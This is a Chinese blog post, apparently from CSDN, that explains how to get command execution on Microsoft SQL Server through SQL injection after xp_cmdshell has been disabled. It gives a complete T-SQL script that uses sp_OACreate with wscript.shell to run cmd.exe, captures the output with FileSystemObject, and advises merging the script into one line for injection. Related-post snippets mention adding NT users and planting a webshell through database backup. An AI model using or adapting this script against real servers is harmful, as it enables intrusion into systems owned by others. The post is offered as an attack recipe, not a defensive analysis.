不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令

MSSQLxp_cmdshell利用 拿到SQL注入知道怎么提升危害?本文教你如何在拥有对mssql数据库操作的权限下通过XP_cmdshell拿到shell 阅读详情
 

我的BLOG里有一篇文章介绍了关于SQL注入的基本原理和一些方法。最让人感兴趣的也许就是前面介绍的利用扩展存储过程xp_cmdshell来运行操作系统的控制台命令。这种方法也非常的简单,只需使用下面的SQL语句:

EXEC master.dbo.xp_cmdshell 'dir c:/'

但是越来越多的数据库管理员已经意识到这个扩展存储过程的潜在危险,他们可能会将该存储过程的动态链接库xplog70.dll文件删除或改了名,这时侯许多人也许会放弃,因为我们无法运行任何的cmd命令,很难查看对方计算机的文件、目录、开启的服务,也无法添加NT用户。

对此作过一番研究,后来我发现即使xp_cmdshell不可用了,还是有可能在服务器上运行CMD并得到回显结果的,这里要用到SQL服务器另外的几个系统存储过程:sp_OACreate,sp_OAGetProperty和sp_OAMethod。前提是服务器上的Wscript.shell和Scripting.FileSystemObject可用。
sp_OACreate
在 Microsoft® SQL Server™ 实例上创建 OLE 对象实例。
语法
sp_OACreate progid, | clsid,
    objecttoken OUTPUT
    [ , context ]
sp_OAGetProperty
获取 OLE 对象的属性值。
语法
sp_OAGetProperty objecttoken,
    propertyname
    [, propertyvalue OUTPUT]
    [, index...]
sp_OAMethod
调用 OLE 对象的方法。
语法
sp_OAMethod objecttoken,
    methodname
    [, returnvalue OUTPUT]
    [ , [ @parametername = ] parameter [ OUTPUT ]
    [...n]]

思路:

先在SQL Server 上建立一个Wscript.Shell,调用其run Method,将cmd.exe执行的结果输出到一个文件中,然后再建立一个Scripting.FileSystemObject,通过它建立一个TextStream对象,读出临时文件中的字符,一行一行的添加到一个临时表中。

以下是相应的SQL语句


CREATE TABLE mytmp(info VARCHAR(400),ID IDENTITY (1, 1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:/>c:/temp.txt','0','true'
--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。

EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:/temp.txt'
--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌

WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

DROP TABLE MYTMP

注意:
如果你在进行注入测试时使用这种方法就不能有这样多的换行,必须把它们合为一行,每个语句中间用空格符隔开。

SQL Server数据库xp_cmdshell提权笔记 SQL Server数据库xp_cmdshell提权 阅读详情

相关推荐

《网络安全自学教程》- 工作中常用的Windows DOS命令

100个工作中常用的Windows DOS命令

wangyuxiang946的博客 1万+

xp_cmdshell简单介绍

简介 xp_cmdshell 扩展存储过程将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出。 用于运行命令行(cmd)。 这对于使用T-SQL在操作系统中运行诸如复制文件,创建文件夹,共享文件夹等任务非常有用。 (45条消息) 如何使用xp_cmdshell扩展过程_culuo4781的博客-CSDN博客 相关命令 命令命令基本上都可用 以下只列出来部分 dir 查看文件目录 相当于linux的ls type 显示文本内容 type [drive:] [pa

nekopoch的博客 2916

MS SQL入侵(小心 xp_cmdshell)

MS SQL入侵(小心 xp_cmdshell)

MSSQL提权之xp_cmdshell

sqlserver中通过xp_cmdshell进行渗透的过程

himyly的博客 1836

数据库注入提权总结(三)

差异备份数据库得到webshell。在sqlserver里dbo和sa权限都有备份数据库权限,我们可以把数据库备份称asp文件,这样我们就可以通过mssqlserver的备份数据库功能生成一个网页小马。

蚁景网安学院 5570

windows中dos命令汇总及获取管理员权限

windows dos命令行操作大全,dos命令行获取管理员权限

第七宇林的博客 2万+

Development Containers用户权限管理:Container User vs Remote User详解

开发容器(Development Containers)是一种将容器作为全功能开发环境的革命性技术,它通过 `devcontainer.json` 配置文件来定义开发环境。在开发容器的用户权限管理中,理解 Container User 和 Remote User 的区别至关重要,这直接关系到开发环境的安全性和使用体验。 ## 🔑 什么是开发容器用户权限? 开发容器规范定义了两种用户类型,它们

gitblog_00996的博客 607

002-windowa基础(DOS命令:net user 用户 密码 /add)

002-windowa基础(DOS命令:net user 用户 密码 /add)

fiveseven的博客 4325

DOS的net命令详解

Net 命令介绍 Net命令是Windows操作系统中一个最重要的命令,它可以管理网络环境、服务、用户、登录等本地信息。 前几个操作系统版本的Net命令会有些同,但是后期操作系统中的Net命令的基本功能都相同。 Net命令一般在DOS提示符下运行, 即 win+r,输入 ‘cmd’ 打开。所有的net命令均接受选项“yes”和“no”,也可缩写为“/y”和“/n” Net命令的使用帮助 如图,直接输入“net /?” 或者“net”即可返回 net命令的具体语法。 使用“net help 命令名”还.

weixin_45425306的博客 4230

dos查mysql的用户权限_mysql登陆,创建用户,权限控制

一.如何登陆mysql:1.下载安装mysql数据库:(我们以5.5版本为例进行学习)注意:(1)下载安装时文件路径中要有中文,然路径能解析,安装会失败。(2)一般的数据库软件中有很多插件,选择性的安装,一般只要client,server,database(3)在安装数据库的过程中会创建root用户及可以备选的用户,及密码。2.登陆mysql:(1)第一种方式(一般本地连接):通过cli...

weixin_31659249的博客 262

如何在DOS窗口中创建用户并设定为管理员

如何在DOS窗口中创建用户并设定为管理员 大家好,前久发现大家都在找cmd命令创建一个用户,因为有些人电脑技术部纯属(够熟练)所以有些系统设置找到又愿意百度,所以再此我就想给大家分享一下我的创建笔记以及一些比较普遍的错误问题指出: --------------------------------------------------------------------------------...

IT界迷者Blog-- 8208

查询用户和权限信息

神马?你还知道user_role_privs, user_sys_privs , user_tab_privs , dba_users, session_privs是干嘛的?还快来学习~~

k的博客 2884

KCenter用户权限管理:Team与User模块使用教程

KCenter作为Kafka集群管理与监控的统一平台,提供了完善的用户权限管理功能。通过Team与User模块,管理员可以轻松实现用户分组、权限分配和资源隔离,确保Kafka集群的安全稳定运行。本文将详细介绍如何使用这两个核心模块进行用户权限管理。 ## 为什么要用户权限管理? 在多团队协作的Kafka环境中,权限管理至关重要。通过合理配置用户和团队权限,可以: - 确保同团队只能访问自己

gitblog_00596的博客 1086

DOS命令字典

DOS命令字典 --------------------------------------------------------------------------------net use //ip/ipc$ " " /user:" " 建立IPC空链接  net use //ip/ipc$ "密码" /user:"用户名" 建立IPC非空链接  net use h: //ip/c$ "密码" 

baggio785的专栏 1796

XP系统中Net User命令的另类用法

Net User命令是一个DOS命令,必须在Windows XP下的MS-DOS模式下运行,所以首先要进入MS-DOS模式:选择“开始”菜单的“附件”选项的子选项“命令提示符”,或在“开始”菜单的“运行”选项(快捷键为Win+R)中输入“cmd.exe”,进入MS-DOS模式。以下功能都基于此模式下。   建立一个普通新用户   在MS-DOS提示符中输入如下命令:“net user john 1

1013

禁止用户使用DOS命令

第1行 @echo off第2行 echo Windows Registry Editor Version 5.00 >temp.reg第3行 echo 正在限制普通用户对命令行的使用权限、、、、第4行 echo 【HKEY_CURRENT_USER\Software\Policies\Microsoft\Mindows\System] >>temp...

weixin_33695450的博客 868

oracle 基本dos命令,Oracle 常用 Dos命令

1. 进入sql界面: 开始--运行--cmd:输入sqlplus 回车 提示输入正确的用户名和密码注意:用户名默认的是 sys,system,密码是你安装的密码,输入正确的用户名及密码即可进入界面。2. DOS命令下修改密码当忘记密码时,DOS命令下alter user system identified by 新密码; 例:修改系统密码为rootalter user system identi...

weixin_39608680的博客 527

django自带的权限系统和User和jwt

权限系统说明 -- django 自带的user数据迁移后会产生几个表auth_group、auth_group_permissions、auth_permission、user_user、user_user_groups、user_user_user_permissions -- 权限系统分为user、group、permission、model。可以设置group/user对每张表的权限设置 -- jwt和user的权限分开验证,jwt对token进行验证,user要通过表查询进行验证(还没查到

python的神奇之旅 1235
上一篇: Perl CGI编程安全点滴
下一篇: Google搜索从入门到精通V4.0
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值